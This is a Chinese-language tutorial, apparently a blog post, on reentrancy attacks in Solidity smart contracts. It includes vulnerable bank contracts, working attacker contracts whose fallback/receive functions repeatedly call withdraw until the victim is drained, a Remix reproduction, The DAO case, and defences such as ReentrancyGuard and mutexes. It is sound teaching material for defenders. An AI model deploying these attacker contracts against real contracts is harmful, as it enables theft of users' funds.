重入攻击
重入攻击叫做:Reentrancy attack或者replay attack。顾名思义,就是再次进入、再次执行的攻击。
简介
solidity文档对重入的解释:任何从合约 A 到合约 B 的交互、任何从合约 A 到合约 B 的以太币转移,都会将控制权交给合约 B。 这使得合约 B 能够在交互结束前回调 A 中的代码。
简单来说,就是重复地调用同一个方法,达到一个目的:黑客利用自己攻击合约中的回调函数、多余的gas将合约中本不属于自己的 ETH 转走。
注意:一般情况下是用Fallback函数进行重入,其实receive函数也可以进行重入。后面的两个例子,分别尝试了这两个情况
发生重入攻击的条件
原理
- 调用了外部的合约且该合约是不安全的
- 外部合约的函数调用早于状态变量的修改
Fallback回调函数
声明方式如下:
1 2 3
| fallback () external [payable]{} //或 fallback (bytes calldata input) external [payable] returns (bytes memory output){}
|
功能:
- 当合约中没有任何匹配的函数可调用时,调用fallback()函数。
- 可用于接收ETH,接收之后就调用fallback函数,即调用(call, send, transfer)没有带任何数据时被自动调用。
- 可以用于代理合约
proxy contract
。如果别人用send
和transfer
方法发送ETH
的话,gas
会限制在2300
特点:
- 一个合约至多含有一个fallback()函数
- 没有function关键字
- payable关键字是可选项,取决于该函数是否需要接收以太币
- 该函数可代替receive()函数以实现合约接受转发以太币的功能
- 可见性必须声明为external
- 允许使用modifier修改器
- 在gasLimit允许范围内可执行复杂操作
发送交易
transfer
- 用法:
接收方地址.transfer(发送ETH数额)
。
transfer()
的gas
限制是2300
,足够用于转账,但对方合约的fallback()
或receive()
函数不能实现太复杂的逻辑。防止了重入攻击
transfer()
如果转账失败,会自动revert
(回滚交易)。
send
- 用法:
接收方地址.send(发送ETH数额)
。
send()
的gas
限制是2300
,足够用于转账,但对方合约的fallback()
或receive()
函数不能实现太复杂的逻辑。防止了重入攻击
send()
如果转账失败,不会revert
。
send()
的返回值是bool
,代表着转账成功或失败,需要额外代码处理一下。
call
- 用法:
接收方地址.call{value: 发送ETH数额}("")
。
call()
没有gas
限制,可以支持对方合约fallback()
或receive()
函数实现复杂逻辑。存在重入攻击的可能性
call()
如果转账失败,不会revert
。
call()
的返回值是(bool, data)
,其中bool
代表着转账成功或失败,需要额外代码处理一下。
例子复现
被攻击的合约:针对这个合约,攻击者可以不执行 balances[msg.sender] -= _weiToWithdraw;
,利用 fallback 函数在攻击合约中将所有ETH转走。
攻击过程请按数字步骤进行浏览
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| // 假设每个人可以像合约里存储 ETH,每次取款至少为 1 ETH。 contract EtherStore {
uint256 public withdrawalLimit = 1 ether;//一次至少取款1ETH mapping(address => uint256) public balances;
function depositFunds() public payable {//存钱 balances[msg.sender] += msg.value; }
function withdrawFunds (uint256 _weiToWithdraw) public { // 5. 因为攻击者的 balance 值没有变化,所以继续执行2. require(balances[msg.sender] >= _weiToWithdraw);//够钱才可以取出 require(_weiToWithdraw <= withdrawalLimit);//至少取1ETH // 2. 转钱 require(msg.sender.call.value(_weiToWithdraw)()); // 这行代码不会被执行 balances[msg.sender] -= _weiToWithdraw; } }
|
发起攻击的合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import "EtherStore.sol";
contract Attack { EtherStore public etherStore;//这里需要传入被攻击的合约
// 这里的地址就是 EtherStore 的地址 constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } function pwnEtherStore() public payable { require(msg.value >= 1 ether);//至少存1ETH来获得取钱的权限 etherStore.depositFunds.value(1 ether)();//存1ETH // 1. 调用取款函数,取回1个 ETH etherStore.withdrawFunds(1 ether); } // 3. EtherStore 完成转账后,自动调用 fallback,执行其中逻辑。 function () payable { if (etherStore.balance > 1 ether) { // 4. 继续调用取款函数,取回1个 ETH etherStore.withdrawFunds(1 ether); } } }
|
Remix复现
(1)部署EtherBank.sol合约
(2)一般用户进行存钱
(3)查看余额
(4)部署攻击合约
(5)发起攻击
(6)攻击成功
受害者:EtherBank.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.17;
import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol";//使用openzeppelin的modifier可防止重入 import "hardhat/console.sol";//为了在控制台打印输出
contract EtherBank is ReentrancyGuard {//受害者
using Address for address payable; mapping(address => uint) public balances;
function deposit() external payable { balances[msg.sender] += msg.value; }
function withdraw() external { console.log("Begin withdraw"); require(balances[msg.sender] > 0, "Withdrawl amount exceeds available balance."); console.log(""); console.log("EtherBank balance: ", address(this).balance); console.log("Attacker balance: ", balances[msg.sender]); console.log(""); //下面两行是问题代码 payable(msg.sender).sendValue(balances[msg.sender]); balances[msg.sender] = 0; console.log("End withdraw"); }
function getBalance() external view returns (uint) { return address(this).balance; } }
|
攻击者:Attacker.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "hardhat/console.sol";//为了在控制台打印输出
interface IEtherBank { function deposit() external payable; function withdraw() external; }
contract Attacker {//攻击者 IEtherBank public immutable etherBank; address private owner;
constructor(address etherBankAddress) { etherBank = IEtherBank(etherBankAddress); owner = msg.sender; }
function attack() external payable onlyOwner { etherBank.deposit{value: msg.value}();//调用attack的时候,先存一点钱,满足取款条件 etherBank.withdraw(); }
receive() external payable { console.log("receive..."); if (address(etherBank).balance > 0) {//只有取完EtherBank中的钱才停止重入 console.log("reentering..."); etherBank.withdraw(); } else { console.log("victim account drained"); payable(owner).transfer(address(this).balance); } } function getBalance() external view returns (uint) { return address(this).balance; }
modifier onlyOwner() { require(owner == msg.sender, "Only the owner can attack."); _; } }
|
相关案例
2016 年 6 月 17 日,TheDAO 项目遭到了重入攻击,导致了 300 多万个以太币被从 TheDAO 资产池中分离出来,而攻击者利用 TheDAO 智能合约中的 splitDAO() 函数重复利用自己的 DAO 资产进行重入攻击,不断的从 TheDAO 项目的资产池中将 DAO 资产分离出来并转移到自己的账户中。
1 2 3 4 5 6 7
| //Burn DAO Tokens Transfer(msg.sender,0,balances[msg.sender]); withdrawRewardFor(msg.sender); totalSupply -= balances[msg.sender];//更新状态变量在转账操作之后 balances[msg.sender] = 0; paidOut[msg.sender] = 0; return true;
|
如何防范
1 2 3 4 5 6 7 8 9
| function withdrawFunds (uint256 _weiToWithdraw) public { require(balances[msg.sender] >= _weiToWithdraw); require(_weiToWithdraw <= withdrawalLimit); require(now >= lastWithdrawTime[msg.sender] + 1 weeks); //这里改为先赋值,再转账,等于重入第二次的时候,攻击者账目上钱就是减少后的。 balances[msg.sender] -= _weiToWithdraw; require(msg.sender.call.value(_weiToWithdraw)()); }
|
这个的原理是记录调用者的进出记录,检查有没有完整的执行函数逻辑。如果攻击者只有进记录,没有出记录,那么很有可能是在进行重入攻击。Openzeppelin使用的这个方法来防止重入攻击:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0;
abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() { _status = _NOT_ENTERED; }
modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED;//设置状态为已经进入,重入require就会判断失败。成功防止了重入 _; _status = _NOT_ENTERED;//设置状态为未进入。用户可再次调用方法 } }
|
更加清晰的例子
1 2 3 4 5 6 7 8 9 10 11
| bool reEntrancecyMutex = false; function withdraw(uint256 amount) public{ require(!reEntrancecyMutex); reEntrancecyMutex = true;//上锁 require(balances[msg.sender] >= amount); require(this.balance >= amount); if(msg.sender.call.value(amout)()){ balances[msg.sender] -= amount; } reEntrancecyMutex = false;//解锁 }
|
- 禁止转账 Ether 到合约地址:因为合约可以通过回调函数来进行重入,禁止转账到合约地址,可以防止转账导致的合约重入。这里使用到了内联汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function withdraw() nonReentrant external { require(balance[msg.sender] > 0, "Bank: no balance"); uint256 size; address sender = msg.sender; assembly { size := extcodesize(sender)//extcodesize(sender):地址sender的代码大小 } //需要地址代码大小为0,说明地址肯定就不是合约,只能是用户 require(size == 0, "Bank: cannot transfer to contract"); msg.sender.call{value: balance[msg.sender]}(""); totalDeposit -= balance[msg.sender]; balance[msg.sender] = 0; }
|
这是使用纯python编写的solidity代码审计工具,不需要安装solc等其他环境,可一键安装。如图是BEC整数溢出漏洞检测出来的结果
其他
跨用户重入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| mapping(address=>uint) private userBalances;
function transfer(address to,uint amount){ if(userBalances[msg.sender] >= amount){ userBalances[to] += amount; userBalances[msg.sender] -= amount; } }
function withdrawBalance() public{ uint amountToWithdraw = userBalances[msg.sender]; (bool success,_) = msg.sender.call.value(amountToWithdraw); require(success); userBalances[msg.sender] = 0; }
|
合约在收到eth的时候会触发receive或者fallback方法。用户调用withdraw提取之后,触发了这个方法,但是存储代币的那个目标合约里的userbalance此时还没归0,触发的receive或者fallback又调用了transfer方法向别的人进行转账。即:fallback或者receive中包含了withdraw和transfer方法
这会导致,黑客A重入,然后黑客A又把权益给了黑客B,黑客B拥有黑客A在合约中的钱。这时黑客B又可以进行重入……